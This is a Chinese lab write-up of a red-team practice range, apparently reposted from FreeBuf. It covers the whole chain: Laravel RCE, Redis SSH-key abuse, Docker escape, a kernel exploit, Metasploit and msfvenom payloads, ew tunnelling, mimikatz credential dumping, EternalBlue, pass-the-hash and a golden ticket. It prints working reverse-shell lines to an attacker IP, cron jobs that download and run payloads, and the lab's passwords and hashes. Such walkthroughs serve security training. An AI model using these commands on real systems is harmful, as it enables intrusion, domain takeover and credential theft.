ATT&CK实战系列-红队评估(七)学习记录
2022-9-19 19:9:56 Author: FreeBuf(查看原文) 阅读量:10 收藏

http://192.168.0.130:81/

尝试使用之前知道的larvel开启调试模式导致敏感信息泄露的漏洞。

发现没有暴露出太多的信息。

Goby扫描出漏洞:larvel的rce 和 redis未授权访问。

 使用goby命令执行进行反弹shell+提权 

获取到的是jobs的权限

(后面发现是web2的docker容器)

Kali:nc -lvp 8065

Goby:bash -c 'exec bash -i &>/dev/tcp/192.168.0.133/8065 <&1'

命令:find / -perm -u=s -type f 2>/dev/null

#能发现具有高权限的文件,发现/home/jobs 下存在名为shell的可疑高权限文件

cd /tmp

echo "/bin/bash" > ps

chmod 777 ps

echo $PATH

export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序

cd /home/jobs

./shell

# 然后就获得了root权限,可以执行命令了。

Redis提权

获取到的是ubuntu的权限

1.写公钥文件并上传至web1-redis的shell键中

2.将redis的备份目录为/root/.ssh 并 修改保存文件名,写公钥需要redis以root权限启动,前面没有以root权限启动就报 “权限不足“的错误,后面web1虚拟机修改为root权限启动就ok了。

3.连接目标(直接获得root权限)

ssh 192.168.0.130

4.信息收集

这获取到的是DMZ主机的权限,内网是192.168.52.1/24网段。

在/etc/nginx/conf.d目录下发现进行了nginx反向代理,将内网的192.168.52.20:8000代理到外网192.168.0.130:81上面。

 Docker逃逸  

利用Docker特权模式逃逸

1.特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。

2.使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

3.当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。

首先我们现在docker中新建一个/hack目录用来挂载文件:

命令:

fdisk -l #查看磁盘文件

mkdir /hack  # 新建一个/hack目录用来挂载文件

ls /

ls /dev  #查看设备文件

将 /dev/sda1 挂载到/hack目录里,就能读取/dev/sda1里的文件了(本地文件,非容器)

mount /dev/sda1 /hack

使用 ls /hack 查看是否挂载成功

如上图所示挂载成功了,此时我们就可以通过访问容器内部的/hack路径来达到访问整个宿主机的目的。

在docker容器里挂载一个宿主的本地目录,这样某些容器里输出的文件,就可以在本地目录中打开访问了。

 发现ubuntu用户进行写公钥等操作 

再进行一次反弹shell,好看一点,

我们就能再docker容器里查看本地目录的东西了,发现home目录下的ubuntu用户。

至此我们逃逸出docker容器,权限还是不够,只是能够访问本地文件、写文件等操作(对web2)却不能执行进一步的命令,所以需要进一步的提权。

以下两种:

1.在/hack/home/ubuntu/.ssh目录下写入公钥文件(redis提权的web1生成公钥)

we1命令:

ssh-keygen -f hello #写公钥和私钥

chmod 600 hello #赋予权限

cat hello.pub # 获取公钥内容

web2命令:

echo 'cat hello.pub文件的内容' > /hello/home/ubuntu/.ssh/authorized_keys

注:IP-192.168.52.20是查看nginx反向代理发现的内网IP

发现192.168.93.1/24网段

2. 写入计划任务进行反弹shell

计划任务:

a.msf

echo '* * * * * wget -qO 9Q18YaP8 --no-check-certificate http://192.168.0.133:8080/wE22Kdz1bsdKfdl; chmod +x 9Q18YaP8; ./9Q18YaP8& disown' >> /hack/var/spool/cron/crontabs/root

b.反弹shell

echo '* * * * * bash -i >& /dev/tcp/192.168.0.133/1233 0>&1' >> /hello/var/spool/cron/root

总结:

Web1(第一层):IP(192.168.0.130 和 192.168.52.10) redis公钥提权获得

Web2(第二层):IP(192.168.52.20和192.168.93.10)  larvel-rce反弹shell再提权到root权限,然后通过docker逃逸写公钥再使用第一层web1主机进行ssh私钥连接

 Linux kernel特权提升漏洞(CVE-2021-3493) 

Exp:https://github.com/briskets/CVE-2021-3493

获得web2的ubuntu用户并不是root权限,

查看内核,

touch exploit.c # 创建文件以后将exp的内容写入其中,

获得root权限的web2。

 内网渗透 

内网探测

1.msf上线

use exploit/multi/script/web_delivery

set target 7

set lhost 192.168.0.133

set payload linux/x64/meterpreter/reverse_tcp

run

获得wget -qO hnTYkmsn --no-check-certificate http://192.168.0.133:8080/uWvSlqPnjRoGe6S; chmod +x hnTYkmsn; ./hnTYkmsn& disown 语句,然后在root权限的web1和web2上面执行就能上线msf,获得sessions。

1.1尝试fscan探测

上传至web1的/tmp目录进行探测

sessions 1

upload /home/test/桌面/fscan_amd64

shell

chmod +x fscan_amd64

./fscan_amd64 -h 192.168.52.1/24

发现192.168.52.30主机

1.2使用msf自带的模块进行探测

# 自动添加路由

run post/multi/manage/autoroute

run autoroute -p

或者

# 手动添加路由

route add 192.168.52.0 255.255.255.0

route print

目的添加一个通往192.168.52.1/24网段的路由

use auxiliary/scanner/discovery/arp_sweep

use auxiliary/scanner/discovery/udp_probe

 内网穿透-1 

使用ew进行内网穿透(文件上传:在meterpreter进行upload /home/test/桌面/ew/ew_for_linux64)。

命令:

攻击机:./ew_for_linux64 -s rcsocks -l 1080 -e 1234

靶机web1:nohup ./ew_for_linux64 -s rssocks -d 192.168.0.133 -e 1234 &

将本机的1080端口的请求转发到1234端口上面,靶机对我们本机的1234端口进行连接。

发现是11.3版本的

http://192.168.52.30:8080/inc/expired.php

任意文件上传—>上传一个图片码,

文件包含à将上传的图片码进行文件包含,

详细了解查看这篇文章。

 PC1-MSF上线 

使用msfvenom生成木马

命令:msfvenom -p windows/meterpreter/bind_tcp lport=9091 -f exe > win7_9091.exe

将木马上传至web1,

Web1开启8080端口的http服务,

下载win7_9091.exe并重命名为exploit.exe

certutil.exe -urlcache -split -f http://192.168.0.130:8080/win7_9091.exe exploit.exe

运行以后会在本机开放9091端口进行监听,

使用handler模块进行正向连接(记得保持路由到52网段)

use exploit/multi/handler

set payload windows/meterpreter/bind_tcp

set lport 9091

set rhost 192.168.52.30

对PC1进行信息搜集 

ipconfig /all   # 查看本机ip,所在域

net view        # 查看局域网内其他主机名

1.修改编码:chcp 65001

2.获取局域网其他主机名

3.发现域名

ping DC.whoamianony.org

ping PC2.whoamianony.org

DC:192.168.93.30

PC2:192.168.93.40

猕猴桃密码抓取

load kiwi

kiwi_cmd privilege::debug

kiwi_cmd sekurlsa::logonPasswords

错误提示发现kiwi默认加载32位,不能接受64位。需要把meterpreter进程迁移到64的进程上面,才能加载64位的猕猴桃。

migrate 508

抓取到两个密码,一个是域控机的,一个是本地的(PC1)

Whoami2021

Bunny2021

 关闭域控防火墙 

获取到域控的账户密码了,直接开打

net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"

sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"

sc \\192.168.93.30 start unablefirewall

 获取DC 

尝试写计划任务获取DC

# 添加路由

route add 192.168.93.0 255.255.255.0

route print

目的添加一个通往192.168.93.1/24网段的路由,这样msf就能进入93网段了。

1.生成木马

msfvenom -p windows/meterpreter/bind_tcp LPORT=8888 -f exe -o smb_8888.exe

2.上传木马到PC1

3.使用共享文件夹上传至域控主机

net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"   # 建立空连接

copy 8888.exe \\192.168.93.30\c$   # 上传至域控主机

net time \\192.168.93.30# 查看主机当前时间

4.在域控机上面设置计划任务执行smb_8888木马

schtasks /create /s \\192.168.93.30 /u Administrator /p Whoami2021 /tn test /tr C:\smb_8888.exe  /sc once /st 14:59

5.返回运行监听模块

尝试psexec获取DC

# 添加路由

route add 192.168.93.0 255.255.255.0 1

route print

目的添加一个通往192.168.93.1/24网段的路由,这样msf就能进入93网段了。

使用exploit/windows/smb/psexec模块进行权限获取

set rhosts 192.168.93.30

set SMBUser Administrator

set SMBPass Whoami2021

set payload windows/meterpreter/bind_tcp

经过查找发现需要更换target

成功获取DC的sessions

还剩下一台PC2。

永恒之蓝打PC2

内网穿透-2

进行第三层内网穿透

PC1(192.168.52.30和192.168.93.20)

(由于第一次的内网穿透使用的是web1相当于使用web1访问了其他52网段的机器,现在我们要进入93网段访问需要正向连接进行永恒之蓝攻击获取会话。因此需要使用pc1的192.168.93.20-IP进行内网穿透。我们主机是访问不了192.168.52.30,所以需要一个中间人web1)。

首先攻击机上执行如下命令添加一个转接隧道,监听1090端口,并将1090端口收到的代理请求发送给9998端口,执行命令:

./ew_for_linux64 -s lcx_listen -l 1090 -e 9998

然后在第二层网络的Windows服务器PC1上传ew_for_Win.exe,并利用ssocksd方式启动999端口的正向socks代理,执行命令:

ew_for_Win.exe -s ssocksd -l 999

最后,在Web1上传的ew_for_linux64并利用lcx_slave方式,将攻击机的9998端口与第二层网络Windows 7的999端口连接起来,执行命令:

./ew_for_linux64 -s lcx_slave -d 192.168.0.133 -e 9998 -f 192.168.52.30 -g 999

ms17_010

setg Proxies socks5:127.0.0.1:1090

use exploit/windows/smb/ms17_010_eternalblue

set rhosts 192.168.93.40

set payload windows/x64/meterpreter/bind_tcp

run

运行发现出现报错“Could not make SMBv1 connection”

解决方案:

service postgresql start

service postgresql status

再次run。

5个sessions都成功获得。

尝试制作黄金票据和哈希传递,上传猕猴桃mimikatz.exe到域控主机上面。

命令:

privilege::debug

lsadump::dcsync /user:krbtgt

提取sid和hash ntlm获取关键信息:

Object Security ID : S-1-5-21-1315137663-3706837544-1429009142-502

Hash NTLM: 6be58bfcc0a164af2408d1d3bd313c2a

哈希传递

到域成员PC1主机上面,上传猕猴桃并制作黄金票据,先试试哈希传递。

sekurlsa::logonpasswords

得到ntlm:ab89b1295e69d353dd7614c7a3a80cec

sekurlsa::pth /user:administrator /domain:whoamianony.org /ntlm:ab89b1295e69d353dd7614c7a3a80cec

随后应该会弹cmd框,但是这里看不到弹框,直接到PC1主机上面试试哈希传递效果(之前没搞过试试),以管理员身份运行猕猴桃.

dir \\DC.whoamianony.org\c$


dir \\DC.whoamianony.org\c$\users

PsExec.exe \\DC.whoamianony.org cmd.exe 即可反弹域控的shell

制作票据:

kerberos::golden /user:administrator /domain:whoamianony.org /sid:S-1-5-21-1315137663-3706837544-1429009142 /krbtgt:6be58bfcc0a164af2408d1d3bd313c2a /ticket:administrator.kiribi

加载票据:

kerberos::ptt administrator.kiribi

精彩推荐


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651194211&idx=3&sn=d18b5b71e8bbcd691b37a87b85ce71cc&chksm=bd1d91e88a6a18fe5c464ce3ad690f10aa0e3c545dd1b94a8d3d0082164c83ca2fb131196a1c#rd
如有侵权请联系:admin#unsafe.sh